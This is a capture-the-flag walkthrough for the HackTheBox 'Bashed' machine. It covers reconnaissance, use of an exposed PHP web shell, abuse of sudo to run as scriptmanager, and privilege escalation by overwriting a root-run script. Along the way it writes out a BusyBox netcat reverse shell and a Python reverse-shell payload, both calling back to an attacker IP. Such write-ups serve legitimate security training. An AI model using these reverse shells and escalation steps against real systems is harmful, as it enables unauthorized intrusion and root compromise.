HackTheBox Bashed Writeup
Explore the fundamentals of cybersecurity in the Bashed Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.10.68 bashed.htb
Script to add hosts automatically
ip="10.10.10.68"
domain="bashed.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV bashed.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 22:23 CEST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.051s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Directory Discovery
Start by using dirb to scan for directories on Bashed HTB:
dirb http://bashed.htb/
The scan reveals the following directories:
==> DIRECTORY: http://bashed.htb/css/
==> DIRECTORY: http://bashed.htb/dev/
==> DIRECTORY: http://bashed.htb/fonts/
==> DIRECTORY: http://bashed.htb/images/
+ http://bashed.htb/index.html (CODE:200|SIZE:7743)
==> DIRECTORY: http://bashed.htb/js/
==> DIRECTORY: http://bashed.htb/php/
Getting a Shell:
1. Discover the PHP Bash Web Shell
- On the website http://bashed.htb/single.html, you’ll find a link to the PHP Bash web shell source code on GitHub:
- Access the live PHP Bash web shell on the server:
2. Retrieve the User Flag
- Once inside the PHP Bash web shell, retrieve the
arrexeluser flag:
cat /home/arrexel/user.txt
3. Check Sudo Privileges
- After gaining access, check the sudo privileges for the current user:
sudo -l
- The output reveals:
(scriptmanager : scriptmanager) NOPASSWD: ALL
This means you can execute any command as the scriptmanager user without a password.
4. Find Readable Directories for scriptmanager
- Locate directories accessible by the
scriptmanageruser by running:
find / -type d -readable -user scriptmanager | grep -v '^/proc\|^/run\|^/sys'
This command lists readable directories for scriptmanager, excluding system directories like /proc, /run, and /sys.
5. Set Up a Reverse Shell Listener
- On your attacking machine, set up a listener to catch the reverse shell:
nc -lvnp 9001
6. Initiate a Reverse Shell Using BusyBox
- Since the available
nc(netcat) version on the target system is netcat-openbsd, which lacks the-eoption, you can use BusyBox to achieve a reverse shell. On the target machine, execute:
busybox nc 10.10.14.9 9001 -e /bin/bash
This command establishes a reverse shell connection to your listener on port 9001.
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Monitor Processes with pspy
Objective: Use pspy to monitor processes without needing root privileges and identify processes being executed by root that may be exploitable.
Step 1: Download pspy
- On your attacking machine, download the appropriate
pspybinary (e.g.,pspy64for 64-bit systems) from the official repository:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
Step 2: Transfer pspy to the Target Server Using Python HTTP Server
- On your attacking machine, start a Python HTTP server in the directory where
pspy64is located:
python3 -m http.server 8080
- On the target machine, download
pspy64usingwget:
wget http://<vpn-ip>:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
Step 3: Run pspy to Monitor Processes
- Now that
pspy64is on the target machine, run it to monitor running processes:
/tmp/pspy64
- While monitoring,
pspymay show processes that are periodically executed byroot. For example:
2024/09/27 14:02:01 CMD: UID=0 PID=1249 | python test.py
- This shows that
test.pyis executed byroot, which could be exploited by modifying the script.
1. Switch to scriptmanager User
test.pyis owned byscriptmanager, switch toscriptmanager:
sudo -u scriptmanager bash
2. Edit test.py
- Navigate to the location of
test.py, which was identified bypspy, and edit the script to include a Python reverse shell payload:
nano /scripts/test.py
- Replace the contents of
test.pywith the following reverse shell code:
Replace
<vpn-ip>with your actual VPN IP to receive the connection.
import socket, os, pty
s = socket.socket(); s.connect(("<vpn-ip>", 9002))
for fd in (0, 1, 2): os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
3. Set up a Listener
- On your local machine (the attacker machine), set up a listener to capture the reverse shell:
nc -lvnp 9002
4. Wait for Execution
- The
test.pyscript is executed periodically byroot, as observed inpspy. Wait for the next execution, and the reverse shell should connect to your listener.
5. Capture Root Access
- Once the reverse shell connects, you should have a shell as
root. You can verify this by checking the user and reading sensitive files:
cat /root/root.txt